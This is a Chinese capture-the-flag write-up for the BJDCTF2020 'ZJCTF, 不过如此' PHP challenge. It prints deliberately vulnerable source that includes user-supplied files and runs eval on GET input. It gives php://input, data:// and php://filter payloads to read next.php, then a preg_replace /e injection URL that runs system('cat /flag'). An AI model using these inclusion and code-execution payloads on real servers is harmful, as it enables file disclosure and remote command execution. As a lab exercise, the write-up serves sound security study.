[BJDCTF2020]ZJCTF,不过如此
题目:
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
想要实现文件读取漏洞就需要满足两个条件:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
读取到next源码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
?>
扫盲:
正则表达式 – 元字符_w3cschool:这里主要涉及的元字符为\S意思为匹配所有的非空字符
同时还涉及到变量覆盖的两种形式:$$a
或者${$a}
,两种变量覆盖的形式是为了避免歧义,当需要使用变量覆盖来用于数组的时候第一种为:${$a[1]}
、第二种:${$a}[1]
分析:
1.首先你需要知道关于变量覆盖,以及双引号包裹的字符串会被php解析器解析后执行。
本地试验:
<?php
$str = "${phpinfo()}";#会被执行
$str = '${phpinfo()}';#不会被执行
?>
2.关于\1的问题,就是将你通过圆括号指定的匹配到的字符串会被暂时储存在一个缓冲区里面,而\1就是读你第一个圆括号指定匹配到的字符串
本地试验:
<?php
$str = "abc123456789";
print_r(preg_replace('/(\S)(\S)(\S)(\S)/i','strtolower("\\0")',$str));
preg_match('/(\S)(\S)(\S)(\S)/i',$str,$arr);
echo '<br>';
print_r($arr);
?>
返回结果为:
strtolower(“abc1”)strtolower(“2345”)strtolower(“6789”)
Array ( [0] => abc1 [1] => a [2] => b [3] => c [4] => 1 )
这里牵扯到一个php正则表达式的子模式
解题:
function complex($re, $str) {
return preg_replace(
'/(' . \S+ . ')/ei',
'strtolower("\\1")',
${getFlag()}
);
}
function getFlag(){
@eval($_GET['cmd']);
}
也就是说要传入的参数为:
next.php?\S%2b=${getFlag()}&cmd=system('cat /flag');